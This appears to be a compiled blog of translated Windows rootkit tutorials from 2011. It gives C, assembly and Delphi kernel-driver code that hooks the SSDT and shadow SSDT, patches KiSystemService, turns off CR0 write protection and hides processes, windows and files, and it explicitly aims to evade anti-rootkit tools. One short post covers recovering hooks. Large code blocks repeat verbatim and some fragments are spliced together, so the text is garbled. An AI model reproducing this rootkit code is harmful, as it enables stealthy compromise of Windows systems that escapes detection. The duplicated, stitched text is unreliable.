00000016 0.00032183 \Driver\Atapi->MajorFunction[12]=805041BE
00000017 0.00032797 \Driver\Atapi->MajorFunction[13]=805041BE
00000018 0.00033440 \Driver\Atapi->MajorFunction[14]=F9998592
00000019 0.00034055 \Driver\Atapi->MajorFunction[15]=F99947B4
00000020 0.00034697 \Driver\Atapi->MajorFunction[16]=805041BE
00000021 0.00035312 \Driver\Atapi->MajorFunction[17]=805041BE
00000022 0.00035954 \Driver\Atapi->MajorFunction[18]=805041BE
00000023 0.00036569 \Driver\Atapi->MajorFunction[19]=805041BE
00000024 0.00037211 \Driver\Atapi->MajorFunction[20]=805041BE
00000025 0.00037826 \Driver\Atapi->MajorFunction[21]=805041BE
00000026 0.00038469 \Driver\Atapi->MajorFunction[22]=F99985BC
00000027 0.00039083 \Driver\Atapi->MajorFunction[23]=F999F164
00000028 0.00039726 \Driver\Atapi->MajorFunction[24]=805041BE
00000029 0.00040340 \Driver\Atapi->MajorFunction[25]=805041BE
00000030 0.00040983 \Driver\Atapi->MajorFunction[26]=805041BE
00000031 0.00042687 [atapi] HOOKed Success
00000032 0.00053359 IoGetDeviceObjectPointer ok
00000033 0.00056292 \Device\Afd->DriverObject->MajorFunction[0]=F8391D40
00000034 0.00058024 \Device\Afd->DriverObject->MajorFunction[1]=F8391D40
00000035 0.00058778 \Device\Afd->DriverObject->MajorFunction[2]=F8391D40
00000036 0.00059477 \Device\Afd->DriverObject->MajorFunction[3]=F8391D40
00000037 0.00060147 \Device\Afd->DriverObject->MajorFunction[4]=F8391D40
00000038 0.00060846 \Device\Afd->DriverObject->MajorFunction[5]=F8391D40
00000039 0.00061516 \Device\Afd->DriverObject->MajorFunction[6]=F8391D40
00000040 0.00062187 \Device\Afd->DriverObject->MajorFunction[7]=F8391D40
00000041 0.00062857 \Device\Afd->DriverObject->MajorFunction[8]=F8391D40
00000042 0.00063556 \Device\Afd->DriverObject->MajorFunction[9]=F8391D40
00000043 0.00064226 \Device\Afd->DriverObject->MajorFunction[10]=F8391D40
00000044 0.00064924 \Device\Afd->DriverObject->MajorFunction[11]=F8391D40
00000045 0.00065595 \Device\Afd->DriverObject->MajorFunction[12]=F8391D40
00000046 0.00066265 \Device\Afd->DriverObject->MajorFunction[13]=F8391D40
00000047 0.00066936 \Device\Afd->DriverObject->MajorFunction[14]=F8391280
00000048 0.00067634 \Device\Afd->DriverObject->MajorFunction[15]=F8391D40
00000049 0.00068305 \Device\Afd->DriverObject->MajorFunction[16]=F8391D40
00000050 0.00069003 \Device\Afd->DriverObject->MajorFunction[17]=F8391D40
00000051 0.00069674 \Device\Afd->DriverObject->MajorFunction[18]=F8391D40
00000052 0.00070344 \Device\Afd->DriverObject->MajorFunction[19]=F8391D40
00000053 0.00071015 \Device\Afd->DriverObject->MajorFunction[20]=F8391D40
00000054 0.00071713 \Device\Afd->DriverObject->MajorFunction[21]=F8391D40
00000055 0.00072384 \Device\Afd->DriverObject->MajorFunction[22]=F8391D40
00000056 0.00073082 \Device\Afd->DriverObject->MajorFunction[23]=F8391D40
00000057 0.00073752 \Device\Afd->DriverObject->MajorFunction[24]=F8391D40
00000058 0.00075792 \Device\Afd->DriverObject->MajorFunction[25]=F8391D40
00000059 0.00076602 \Device\Afd->DriverObject->MajorFunction[26]=F8391D40
Thursday, September 1, 2011
Hook Specials 25 :The Age-Old Art of SSDT Hooking(But Bypass Most ARK Tools...)
Author:wowelf
Same artile watched the day before yesterday, But it is deleted, So I write now.
SSDT HOOK is old topic, It is first lesson about ring0 rookit. Let us furbish struture of system service table:
Code:
typedef struct _SERVICE_DESCRIPTOR_TABLE_SHADOW
{
SERVICE_DESCRIPTOR_TABLE ntoskrnl; //ntoskrnl.exe
SERVICE_DESCRIPTOR_TABLE win32k; //win32k.sys
SERVICE_DESCRIPTOR_TABLE NotUse1; //未使用
SERVICE_DESCRIPTOR_TABLE NotUse2; //未使用
}SERVICE_DESCRIPTOR_TABLE_SHADOW,*PSERVICE_DESCRIPTOR_TABLE_SHADOW;
Only ntoskrnl is used on KeServiceDescriptorTable, ntoskrnl and win32k is both used on KeServiceDescriptorTableShadow, But two service tables isn't use NotUse1、NotUse2, And almost check tools of SSDT HOOK both check front two parts, Of course, A little people will use behind two parts.
Train of thought, Copy ntoskrnl and win32k, Apart move They into NotUse1 and NotUse2, So Table modified and copyed to realize SSDT HOOK, Don't modify original table , So ARK tool can't check .
Above train of thought has a difiiculty ,That how to let system call to entry NotUse1 and NotUse2 rather than original ntoskrnl and win32k, Good luck, I find a space on KiSystemService:
SSDT HOOK is old topic, It is first lesson about ring0 rookit. Let us furbish struture of system service table:
Code:
typedef struct _SERVICE_DESCRIPTOR_TABLE_SHADOW
{
SERVICE_DESCRIPTOR_TABLE ntoskrnl; //ntoskrnl.exe
SERVICE_DESCRIPTOR_TABLE win32k; //win32k.sys
SERVICE_DESCRIPTOR_TABLE NotUse1; //未使用
SERVICE_DESCRIPTOR_TABLE NotUse2; //未使用
}SERVICE_DESCRIPTOR_TABLE_SHADOW,*PSERVICE_DESCRIPTOR_TABLE_SHADOW;
Only ntoskrnl is used on KeServiceDescriptorTable, ntoskrnl and win32k is both used on KeServiceDescriptorTableShadow, But two service tables isn't use NotUse1、NotUse2, And almost check tools of SSDT HOOK both check front two parts, Of course, A little people will use behind two parts.
Train of thought, Copy ntoskrnl and win32k, Apart move They into NotUse1 and NotUse2, So Table modified and copyed to realize SSDT HOOK, Don't modify original table , So ARK tool can't check .
Above train of thought has a difiiculty ,That how to let system call to entry NotUse1 and NotUse2 rather than original ntoskrnl and win32k, Good luck, I find a space on KiSystemService:
Code:
inc large dword ptr fs:638h //<--There record system calls, may replace it
mov esi, edx
mov ebx, [edi+0Ch] //<--edi save ntoskrnl or win32k on service table
xor ecx, ecx
mov cl, [eax+ebx]
mov edi, [edi]
mov ebx, [edi+eax*4]
sub esp, ecx
shr ecx, 2
mov edi, esp
cmp esi, ds:_MmUserProbeAddress
//The code on XP, Other windows system has similar code
The way is inc large dword ptr fs:638h modify add edi,0x20, Such original edi point ntoskrnl or win32k to change point to NotUse1 or NotUse2, System-call go directly our copy table.
Test result, R.K.U、IceSword both can't test to modifiy code.
Code:
BOOLEAN
AddMyServiceTable(
)
{
if( !g_bIsMyServiceTableCreated ){
DbgPrint( "AddMyServiceTable() Create Service table first !\n" );
return FALSE;
}
__asm{
cli
mov eax,cr0
and eax,not 10000h
mov cr0,eax
}
RtlCopyMemory( (PVOID)&KeServiceDescriptorTable->NotUse1,
(PVOID)&mKeServiceDescriptorTable->ntoskrnl,
sizeof(SERVICE_DESCRIPTOR_TABLE)*2 );
RtlCopyMemory( (PVOID)&KeServiceDescriptorTableShadow->NotUse1,
(PVOID)&mKeServiceDescriptorTableShadow->ntoskrnl,
sizeof(SERVICE_DESCRIPTOR_TABLE)*2 );
__asm{
mov eax,cr0
or eax,10000h
mov cr0,eax
sti
}
return TRUE;
}
代码:
BOOLEAN
HookSysCall(
)
{
//add edi,20h
//nop ....
//
UCHAR cHackCode[] = { 0x83,0xC7,0x20,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90 };
KIRQL oldIrql;
if( g_bIsHooked )
return TRUE;
if( !g_bAddressInited ){
DbgPrint( "Syscall address not inited\n" );
return FALSE;
}
if( KiSystemService_hack_code_size > sizeof( cHackCode ) ){
return FALSE;
}
__asm{
cli
mov eax,cr0
and eax,not 10000h
mov cr0,eax
}
RtlCopyMemory( g_pSysCallOrigCode,(PVOID)KiSystemService_hack_address,KiSystemService_hack_code_size );
KeRaiseIrql( DISPATCH_LEVEL,&oldIrql );
RtlCopyMemory( (PVOID)KiSystemService_hack_address,cHackCode,KiSystemService_hack_code_size );
KeLowerIrql( oldIrql );
__asm{
mov eax,cr0
or eax,10000h
mov cr0,eax
sti
}
g_bIsHooked = TRUE;
return TRUE;
}
//----------------------------------------------------------------------------
Hook Specials 24 : HOOK SSDT AND HOOK Shadow SSDT FOR DELPHI
Author:bujin888
Recently many of driver's tutorial wrote with delphi on forum, Want to show my study results, share for everyone.
code:
unit Driver;
interface
uses
nt_status,ntoskrnl,ntutils;
const
DeviceName = '\Device\360safeBoxA';
DosDeviceName = '\DosDevices\360safeBoxA';
IOCTL_HOOK_START = $0022E000;
IOCTL_HOOK_STOP = $0022E004;
IOCTL_PROTECT_PROCESS = $0022E200;
IOCTL_PROTECT_HWND = $0022E201;
IOCTL_PROTECT_OTHER = $0022E204;
var
DosDevName: TUnicodeString;
TempSafeId:Handle=0;
TempSafehandle:Handle=0;
function _DriverEntry(pDriverObject: PDriverObject; RegistryPath: PUnicodeString) : NTSTATUS; stdcall;
implementation
uses hooking;
function hookCreate(ADeviceObject: PDeviceObject; AIrp: PIrp): NTSTATUS; stdcall;
begin
Result := STATUS_SUCCESS;
AIrp^.IoStatus.Status := Result;
IoCompleteRequest(AIrp, IO_NO_INCREMENT);
end;
function hookClose(ADeviceObject: PDeviceObject; AIrp: PIrp): NTSTATUS; stdcall;
begin
Result := STATUS_SUCCESS;
AIrp^.IoStatus.Status := Result;
IoCompleteRequest(AIrp, IO_NO_INCREMENT);
end;
function hookDeviceControl(ADeviceObject: PDeviceObject; AIrp:PIrp): NTSTATUS; stdcall;
var
LStack: PIO_STACK_LOCATION;
pIOBuffer: Pointer;
LBufInLen, LBufOutLen,
LCode, LRet,OutByteCount: ULONG;
begin
LStack := IoGetCurrentIrpStackLocation(AIrp);
Result := STATUS_SUCCESS;
AIrp^.IoStatus.Information := 0;
LCode := LStack^.Parameters.DeviceIoControl.IoControlCode;
pIOBuffer := AIrp^.AssociatedIrp.SystemBuffer;
LBufInLen := LStack^.Parameters.DeviceIoControl.InputBufferLength;
LBufOutLen := LStack^.Parameters.DeviceIoControl.OutputBufferLength;
OutByteCount:=0;
case LCode of
IOCTL_HOOK_START: begin
LRet := HookingHook;
OutByteCount:=4;
LONG(pIOBuffer^):=LRet;
end;
IOCTL_HOOK_STOP: begin
LRet := HookingUnhook;
OutByteCount:=4;
LONG(pIOBuffer^):=LRet;
end;
IOCTL_PROTECT_PROCESS: begin
TempSafeId:=Handle(pIOBuffer^);
SetSafeId(TempSafeId);
OutByteCount:=4;
LONG(pIOBuffer^):=Integer(True);
end;
IOCTL_PROTECT_HWND:begin
TempSafehandle:=Handle(pIOBuffer^);
SetSafehandle(TempSafehandle);
OutByteCount:=4;
LONG(pIOBuffer^):=Integer(True);
end;
IOCTL_PROTECT_OTHER: begin
DoPub;
OutByteCount:=4;
LONG(pIOBuffer^):=Integer(True);
end;
else
Result := STATUS_INVALID_DEVICE_REQUEST;
AIrp^.IoStatus.Information := 0;
end;
AIrp^.IoStatus.Status := Result;
AIrp^.IoStatus.Information := OutByteCount;
IoCompleteRequest(AIrp, IO_NO_INCREMENT);
end;
procedure DriverUnload(pDriverObject: PDriverObject); stdcall;
begin
HookingUnhook;
IoDeleteSymbolicLink(@DosDevName);
IoDeleteDevice(pDriverObject^.DeviceObject);
end;
function _DriverEntry(pDriverObject: PDriverObject; RegistryPath: PUnicodeString) : NTSTATUS; stdcall;
var
LDevName: TUnicodeString;
LDevObj: PDeviceObject;
begin
RtlInitUnicodeString(LDevName, DeviceName);
RtlInitUnicodeString(DosDevName, DosDeviceName);
Result := IoCreateDevice(pDriverObject,0, @LDevName,
FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN, FALSE, LDevObj);
if NT_SUCCESS(Result) then
begin
pDriverObject^.MajorFunction[IRP_MJ_CREATE] := @hookCreate;
pDriverObject^.MajorFunction[IRP_MJ_CLOSE] := @hookClose;
pDriverObject^.MajorFunction[IRP_MJ_DEVICE_CONTROL] := @hookDeviceControl;
pDriverObject^.DriverUnload := @DriverUnload;
Result := IoCreateSymbolicLink(@DosDevName, @LDevName);
if not NT_SUCCESS(Result) then
begin
IoDeleteDevice(pDriverObject^.DeviceObject);
end;
end;
end;
end.
interface
uses
nt_status,ntoskrnl,ntutils;
const
DeviceName = '\Device\360safeBoxA';
DosDeviceName = '\DosDevices\360safeBoxA';
IOCTL_HOOK_START = $0022E000;
IOCTL_HOOK_STOP = $0022E004;
IOCTL_PROTECT_PROCESS = $0022E200;
IOCTL_PROTECT_HWND = $0022E201;
IOCTL_PROTECT_OTHER = $0022E204;
var
DosDevName: TUnicodeString;
TempSafeId:Handle=0;
TempSafehandle:Handle=0;
function _DriverEntry(pDriverObject: PDriverObject; RegistryPath: PUnicodeString) : NTSTATUS; stdcall;
implementation
uses hooking;
function hookCreate(ADeviceObject: PDeviceObject; AIrp: PIrp): NTSTATUS; stdcall;
begin
Result := STATUS_SUCCESS;
AIrp^.IoStatus.Status := Result;
IoCompleteRequest(AIrp, IO_NO_INCREMENT);
end;
function hookClose(ADeviceObject: PDeviceObject; AIrp: PIrp): NTSTATUS; stdcall;
begin
Result := STATUS_SUCCESS;
AIrp^.IoStatus.Status := Result;
IoCompleteRequest(AIrp, IO_NO_INCREMENT);
end;
function hookDeviceControl(ADeviceObject: PDeviceObject; AIrp:PIrp): NTSTATUS; stdcall;
var
LStack: PIO_STACK_LOCATION;
pIOBuffer: Pointer;
LBufInLen, LBufOutLen,
LCode, LRet,OutByteCount: ULONG;
begin
LStack := IoGetCurrentIrpStackLocation(AIrp);
Result := STATUS_SUCCESS;
AIrp^.IoStatus.Information := 0;
LCode := LStack^.Parameters.DeviceIoControl.IoControlCode;
pIOBuffer := AIrp^.AssociatedIrp.SystemBuffer;
LBufInLen := LStack^.Parameters.DeviceIoControl.InputBufferLength;
LBufOutLen := LStack^.Parameters.DeviceIoControl.OutputBufferLength;
OutByteCount:=0;
case LCode of
IOCTL_HOOK_START: begin
LRet := HookingHook;
OutByteCount:=4;
LONG(pIOBuffer^):=LRet;
end;
IOCTL_HOOK_STOP: begin
LRet := HookingUnhook;
OutByteCount:=4;
LONG(pIOBuffer^):=LRet;
end;
IOCTL_PROTECT_PROCESS: begin
TempSafeId:=Handle(pIOBuffer^);
SetSafeId(TempSafeId);
OutByteCount:=4;
LONG(pIOBuffer^):=Integer(True);
end;
IOCTL_PROTECT_HWND:begin
TempSafehandle:=Handle(pIOBuffer^);
SetSafehandle(TempSafehandle);
OutByteCount:=4;
LONG(pIOBuffer^):=Integer(True);
end;
IOCTL_PROTECT_OTHER: begin
DoPub;
OutByteCount:=4;
LONG(pIOBuffer^):=Integer(True);
end;
else
Result := STATUS_INVALID_DEVICE_REQUEST;
AIrp^.IoStatus.Information := 0;
end;
AIrp^.IoStatus.Status := Result;
AIrp^.IoStatus.Information := OutByteCount;
IoCompleteRequest(AIrp, IO_NO_INCREMENT);
end;
procedure DriverUnload(pDriverObject: PDriverObject); stdcall;
begin
HookingUnhook;
IoDeleteSymbolicLink(@DosDevName);
IoDeleteDevice(pDriverObject^.DeviceObject);
end;
function _DriverEntry(pDriverObject: PDriverObject; RegistryPath: PUnicodeString) : NTSTATUS; stdcall;
var
LDevName: TUnicodeString;
LDevObj: PDeviceObject;
begin
RtlInitUnicodeString(LDevName, DeviceName);
RtlInitUnicodeString(DosDevName, DosDeviceName);
Result := IoCreateDevice(pDriverObject,0, @LDevName,
FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN, FALSE, LDevObj);
if NT_SUCCESS(Result) then
begin
pDriverObject^.MajorFunction[IRP_MJ_CREATE] := @hookCreate;
pDriverObject^.MajorFunction[IRP_MJ_CLOSE] := @hookClose;
pDriverObject^.MajorFunction[IRP_MJ_DEVICE_CONTROL] := @hookDeviceControl;
pDriverObject^.DriverUnload := @DriverUnload;
Result := IoCreateSymbolicLink(@DosDevName, @LDevName);
if not NT_SUCCESS(Result) then
begin
IoDeleteDevice(pDriverObject^.DeviceObject);
end;
end;
end;
end.
Code:
unit hooking;
interface
uses
nt_status,ntoskrnl,ntutils,ssdthook;
type
TZwOpenProcess = function(ProcessHandle:PHandle; DesiredAccess:TAccessMask;
ObjectAttributes:PObjectAttributes;
ClientId:PClientId):NTSTATUS; stdcall;
TNtUserFindWindowEx= Function (hwndParent,hwndChild:Handle;
pstrClassName,pstrWindowName:PUnicodeString;
dwType:LONG):NTSTATUS;stdcall;
var
HookActive: Boolean=False;
OldZwOpenProcess:LONG=0;
OldNtUserFindWindowEx:LONG=0;
SafeId:Handle=0;
SafeHandle:Handle=0;
procedure SetSafeId(value:Handle);
procedure SetSafeHandle(value:Handle);
function HookingHook: Integer; stdcall;
function HookingUnhook: Integer; stdcall;
procedure DoPub;
implementation
procedure SetSafeId(value:Handle);
begin
SafeId:=value;
end;
procedure SetSafeHandle(value:Handle);
begin
SafeHandle:=value;
end;
function ZwOpenProcessAddr:Pointer;
begin
Result:=GetImportFunAddr(@ZwOpenProcess);
end;
function NewNtUserFindWindowEx(hwndParent,hwndChild:Handle;pstrClassName,pstrWindowName:PUnicodeString;dwType:LONG):NTSTATUS;stdcall;
begin
Result:=TNtUserFindWindowEx(pointer(OldNtUserFindWindowEx))(hwndParent,hwndChild,pstrClassName,pstrWindowName,dwType);
if Result=SafeHandle then Result:=0;
end;
function NewZwOpenProcess(ProcessHandle:PHandle; DesiredAccess:TAccessMask; ObjectAttributes:PObjectAttributes; ClientId:PClientId):NTSTATUS; stdcall;
var
Temp:Handle;
begin
Temp:=ProcessHandle^;
if Temp=SafeId then
Result:=0
else
Result:=TZwOpenProcess(pointer(OldZwOpenProcess))(ProcessHandle,DesiredAccess,ObjectAttributes, ClientId);
end;
function HookingHook: Integer; stdcall;
var
uCr0cpu:dword;
begin
if HookActive then
begin
Result:=Integer(False);
Exit;
end;
//关闭写保护
asm
cli
push eax
mov eax, cr0
mov [uCr0cpu], eax
and eax, not 000010000h
mov cr0, eax
pop eax
end;
OldZwOpenProcess:=InterlockedExchange(SystemServiceName(ZwOpenProcessAddr),LONG(@NewZwOpenProcess));
OldNtUserFindWindowEx:=InterlockedExchange(ShadowSystemServiceOrd($17a),LONG(@NewNtUserFindWindowEx));
// 打开写保护
asm
push eax
mov eax, [uCr0cpu]
mov cr0, eax
pop eax
sti
end;
HookActive := True;
Result := Integer(True);
end;
function HookingUnhook: Integer; stdcall;
var
uCr0cpu:dword;
begin
if not HookActive then
begin
Result:=Integer(False);
Exit;
end;
//关闭写保护
asm
cli
push eax
mov eax, cr0
mov [uCr0cpu], eax
and eax, not 000010000h
mov cr0, eax
pop eax
end;
InterlockedExchange(SystemServiceName(ZwOpenProcessAddr),OldZwOpenProcess);
InterlockedExchange(ShadowSystemServiceOrd($17a),OldNtUserFindWindowEx);
// 打开写保护
asm
push eax
mov eax, [uCr0cpu]
mov cr0, eax
pop eax
sti
end;
HookActive := False;
Result := Integer(True);
end;
procedure DoPub;
begin
DbgPrint('%08x',ShadowSystemServiceOrd(0));
DbgPrint('%08x',ShadowSystemServiceOrd(0)^);
end;
end.
For prevent some people do wrong with it, Only paste main functions
interface
uses
nt_status,ntoskrnl,ntutils,ssdthook;
type
TZwOpenProcess = function(ProcessHandle:PHandle; DesiredAccess:TAccessMask;
ObjectAttributes:PObjectAttributes;
ClientId:PClientId):NTSTATUS; stdcall;
TNtUserFindWindowEx= Function (hwndParent,hwndChild:Handle;
pstrClassName,pstrWindowName:PUnicodeString;
dwType:LONG):NTSTATUS;stdcall;
var
HookActive: Boolean=False;
OldZwOpenProcess:LONG=0;
OldNtUserFindWindowEx:LONG=0;
SafeId:Handle=0;
SafeHandle:Handle=0;
procedure SetSafeId(value:Handle);
procedure SetSafeHandle(value:Handle);
function HookingHook: Integer; stdcall;
function HookingUnhook: Integer; stdcall;
procedure DoPub;
implementation
procedure SetSafeId(value:Handle);
begin
SafeId:=value;
end;
procedure SetSafeHandle(value:Handle);
begin
SafeHandle:=value;
end;
function ZwOpenProcessAddr:Pointer;
begin
Result:=GetImportFunAddr(@ZwOpenProcess);
end;
function NewNtUserFindWindowEx(hwndParent,hwndChild:Handle;pstrClassName,pstrWindowName:PUnicodeString;dwType:LONG):NTSTATUS;stdcall;
begin
Result:=TNtUserFindWindowEx(pointer(OldNtUserFindWindowEx))(hwndParent,hwndChild,pstrClassName,pstrWindowName,dwType);
if Result=SafeHandle then Result:=0;
end;
function NewZwOpenProcess(ProcessHandle:PHandle; DesiredAccess:TAccessMask; ObjectAttributes:PObjectAttributes; ClientId:PClientId):NTSTATUS; stdcall;
var
Temp:Handle;
begin
Temp:=ProcessHandle^;
if Temp=SafeId then
Result:=0
else
Result:=TZwOpenProcess(pointer(OldZwOpenProcess))(ProcessHandle,DesiredAccess,ObjectAttributes, ClientId);
end;
function HookingHook: Integer; stdcall;
var
uCr0cpu:dword;
begin
if HookActive then
begin
Result:=Integer(False);
Exit;
end;
//关闭写保护
asm
cli
push eax
mov eax, cr0
mov [uCr0cpu], eax
and eax, not 000010000h
mov cr0, eax
pop eax
end;
OldZwOpenProcess:=InterlockedExchange(SystemServiceName(ZwOpenProcessAddr),LONG(@NewZwOpenProcess));
OldNtUserFindWindowEx:=InterlockedExchange(ShadowSystemServiceOrd($17a),LONG(@NewNtUserFindWindowEx));
// 打开写保护
asm
push eax
mov eax, [uCr0cpu]
mov cr0, eax
pop eax
sti
end;
HookActive := True;
Result := Integer(True);
end;
function HookingUnhook: Integer; stdcall;
var
uCr0cpu:dword;
begin
if not HookActive then
begin
Result:=Integer(False);
Exit;
end;
//关闭写保护
asm
cli
push eax
mov eax, cr0
mov [uCr0cpu], eax
and eax, not 000010000h
mov cr0, eax
pop eax
end;
InterlockedExchange(SystemServiceName(ZwOpenProcessAddr),OldZwOpenProcess);
InterlockedExchange(ShadowSystemServiceOrd($17a),OldNtUserFindWindowEx);
// 打开写保护
asm
push eax
mov eax, [uCr0cpu]
mov cr0, eax
pop eax
sti
end;
HookActive := False;
Result := Integer(True);
end;
procedure DoPub;
begin
DbgPrint('%08x',ShadowSystemServiceOrd(0));
DbgPrint('%08x',ShadowSystemServiceOrd(0)^);
end;
end.
For prevent some people do wrong with it, Only paste main functions
code:
// Get a address offunction from export table
function GetImportFunAddr(lpImportAddr: Pointer): Pointer; stdcall;
begin
Result := PPointer(PPointer(Cardinal(lpImportAddr) + 2)^)^;
end;
// KeServiceDescriptorTable+ ofsset with function's name calculate
function SystemServiceName(AFunc: Pointer): PLONG; stdcall;
var
lpKeServiceDescriptorTable: PServiceDescriptorEntry;
begin
lpKeServiceDescriptorTable := GetImportFunAddr(@KeServiceDescriptorTable);
Result := PLONG(Cardinal(lpKeServiceDescriptorTable^.ServiceTableBase) + (SizeOf(ULONG) * PULONG(ULONG(AFunc) + 1)^));
end;
// KeServiceDescriptorTable+ offset of sequence number's name calculate
function SystemServiceOrd(iOrd: ULONG): PLONG; stdcall;
var
lpKeServiceDescriptorTable: PServiceDescriptorEntry;
begin
lpKeServiceDescriptorTable := GetImportFunAddr(@KeServiceDescriptorTable);
Result := PLONG(PLONG(Cardinal(lpKeServiceDescriptorTable^.ServiceTableBase) + (SizeOf(ULONG) * iOrd)));
end;
function FindShadowTable:Pointer; //XP Vesion
var
lpKeServiceDescriptorTable:ULONG;
begin
lpKeServiceDescriptorTable := ULONG(GetImportFunAddr(@KeServiceDescriptorTable));
Result:=Pointer(lpKeServiceDescriptorTable-$40);
end;
function FindShadowTable2:Pointer;
var
cPtr, pOpcode:ULONG;
I:ULONG;
begin
Result:=nil;
cPtr:=ULONG(GetImportFunAddr(@KeAddSystemServiceTable));
I:=cPtr;
While (I<(cPtr+$1000)) Do
begin
if MmIsAddressValid(Pointer(I)) then
begin
if word(pointer(I)^)=$888d then
begin
Result:=PPointer(I+2)^;
break
end;
end;
I:=I+1;
end;
end;
//Offset of sequence number's name
function ShadowSystemServiceOrd(iOrd: ULONG): PLONG; stdcall;
var
lpKeServiceDescriptorTable:PShadowSrvDescriptorEntry;
begin
lpKeServiceDescriptorTable :=FindShadowTable2;
Result := PLONG(Cardinal(lpKeServiceDescriptorTable^.win32kTable.ServiceTableBase) + (SizeOf(ULONG) * iOrd));
end;
function GetImportFunAddr(lpImportAddr: Pointer): Pointer; stdcall;
begin
Result := PPointer(PPointer(Cardinal(lpImportAddr) + 2)^)^;
end;
// KeServiceDescriptorTable+ ofsset with function's name calculate
function SystemServiceName(AFunc: Pointer): PLONG; stdcall;
var
lpKeServiceDescriptorTable: PServiceDescriptorEntry;
begin
lpKeServiceDescriptorTable := GetImportFunAddr(@KeServiceDescriptorTable);
Result := PLONG(Cardinal(lpKeServiceDescriptorTable^.ServiceTableBase) + (SizeOf(ULONG) * PULONG(ULONG(AFunc) + 1)^));
end;
// KeServiceDescriptorTable+ offset of sequence number's name calculate
function SystemServiceOrd(iOrd: ULONG): PLONG; stdcall;
var
lpKeServiceDescriptorTable: PServiceDescriptorEntry;
begin
lpKeServiceDescriptorTable := GetImportFunAddr(@KeServiceDescriptorTable);
Result := PLONG(PLONG(Cardinal(lpKeServiceDescriptorTable^.ServiceTableBase) + (SizeOf(ULONG) * iOrd)));
end;
function FindShadowTable:Pointer; //XP Vesion
var
lpKeServiceDescriptorTable:ULONG;
begin
lpKeServiceDescriptorTable := ULONG(GetImportFunAddr(@KeServiceDescriptorTable));
Result:=Pointer(lpKeServiceDescriptorTable-$40);
end;
function FindShadowTable2:Pointer;
var
cPtr, pOpcode:ULONG;
I:ULONG;
begin
Result:=nil;
cPtr:=ULONG(GetImportFunAddr(@KeAddSystemServiceTable));
I:=cPtr;
While (I<(cPtr+$1000)) Do
begin
if MmIsAddressValid(Pointer(I)) then
begin
if word(pointer(I)^)=$888d then
begin
Result:=PPointer(I+2)^;
break
end;
end;
I:=I+1;
end;
end;
//Offset of sequence number's name
function ShadowSystemServiceOrd(iOrd: ULONG): PLONG; stdcall;
var
lpKeServiceDescriptorTable:PShadowSrvDescriptorEntry;
begin
lpKeServiceDescriptorTable :=FindShadowTable2;
Result := PLONG(Cardinal(lpKeServiceDescriptorTable^.win32kTable.ServiceTableBase) + (SizeOf(ULONG) * iOrd));
end;
Wednesday, August 31, 2011
Hook Specials 23 : Talk two layers hook for SSDT API
Author:HSQ
Hook realy is art, In the fight to survive, Good jobs.
Here, Only talk thing of dispose , Non full code.
Code:
// Two layers HOOK: 1.First install Inline hook when don't use SSDT HOOK
...
SetInLineHookZwQueryDirectoryFile();
SetInLineHookZwQuerySystemInformation();
// Two layers HOOK: 2.Then install outer SSDT HOOK, Like this even if hook recovered by other tools, Intimal hook work yet.
InHookSSDTNativeAPI();
...
//////////////////////////////////////////////////////////////////////////////
.....................
////////////////////// Do any thing //////////////////////////////////////////
// Hide process
if(NT_SUCCESS(ntStatus))
{ ZWQUERYSYSTEMINFORMATION TempCheckInSSDTSpace=(ZWQUERYSYSTEMINFORMATION)SYSTEMSERVICE(ZwQuerySystemInformation);
// Check whether SSDT hook is exist, Avoidance of repetition work; Of cause may repetition work,
// Don't BSOD, Explain code robust ^-^.
if(HookSSDTZwQuerySystemInformation!=TempCheckInSSDTSpace)
{ // When onself ssdt hook is remove, Let's Inline Hook replace it to continue work
//if(0x81000000 > (ULONG)TempCheckInSSDTSpace)
HideFileFromZwQuerySystemInformation(SystemInformationClass,SystemInformation);
if (TempCheckInSSDTSpace != OldZwQuerySystemInformation)
{ // If Inline hook already hook to layer space of ssdt, need check KIRQL, Then dusoise
// for avert BSOD!
if(DISPATCH_LEVEL >= KeGetCurrentIrql())
// Now can't gobbles up CPU times, If Safemon.sys distribute function , //maybe system resource use up. SSDT HOOK of SMM can't pass up, Let Inline hook stand up to
// a kinds of test^-^
DbgPrint("Rootkit: Hook Inline ZwQuerySystemInformation() Worked ok!\n");
//
}
else
{
DbgPrint("Rootkit: Hook Inline ZwQuerySystemInformation() Worked ok!\n");
//
}
}
else
{
DbgPrint("Rootkit: SSDT HOOK ZwQuerySystemInformation is exist, Inline Hook not need to do any thing any more!\n");
}
}
////////////////////// Do any thing //////////////////////////////////////////
if(DISPATCH_LEVEL >= KeGetCurrentIrql())
// Now can't gobbles up CPU times, If Safemon.sys distribute function , //maybe system resource use up. SSDT HOOK of SMM can't pass up, Let Inline hook stand up to
// a kinds of test^-^
DbgPrint("Rootkit: Hook Inline ZwQuerySystemInformation() Worked ok!\n");
//
}
else
{
DbgPrint("Rootkit: Hook Inline ZwQuerySystemInformation() Worked ok!\n");
//
}
}
else
{
DbgPrint("Rootkit: SSDT HOOK ZwQuerySystemInformation is exist, Inline Hook not need to do any thing any more!\n");
}
}
////////////////////// Do any thing //////////////////////////////////////////
Monday, August 29, 2011
Hook Specials 22 : Simple think of recover ssdt hook and FSD hook
Author:cradiator
I read recover of FSD hook and SSDT hook these days, Past master already is tried of playing, So don't laughing me.
First is SDT hook.
Easy search 360superkiller of reverse by sudami, But mapping size calculate seem like wrong.
Recover paste my think.
1.ZwQuerySystermImformation is transmited 11 number's parameter.
2.Use attach to path to open disk files of ntfs.sys and fastfat.sys.
3.Depend PE format to get mapping base address on file(imageBase).
4.Search to set command of dispath path by condition code .
Disassemble ntfs.sys(fastfat.sys) with IDA, Watch code and opcode:
esi point structure of DriverObject, Opcode is:
c7 46 XX YY YY YY YY
c7 86 XX XX XX XX YY YY YY YY (XX is offset of esi ,YY is real function address)
c7 86 XX XX XX XX YY YY YY YY (XX is offset of esi ,YY is real function address)
So can search condition code for segment command:
After get command , Depend above structrue get dispatch index of IRP and original function of dispatch .
computational method of Real index :
Because ntfs.sys real loaded to place that different PE files stored, need relocate :
Come here get original path of dispatch function.
5. Part get with ObReferenceObjectByName,
L"\\FileSystem\\Ntfs"
L"\\FileSystem\\Fastfat"
Correspond to DriverObject.
Contrast address of DriverObject dispatch function and address of read pe file , If different to repair.
--------------------------------------------------------------------------------
SSDT HOOK
1.Identify ntoskrnl.exe or ntkrnlpa.exe is used by kernel file of driver .
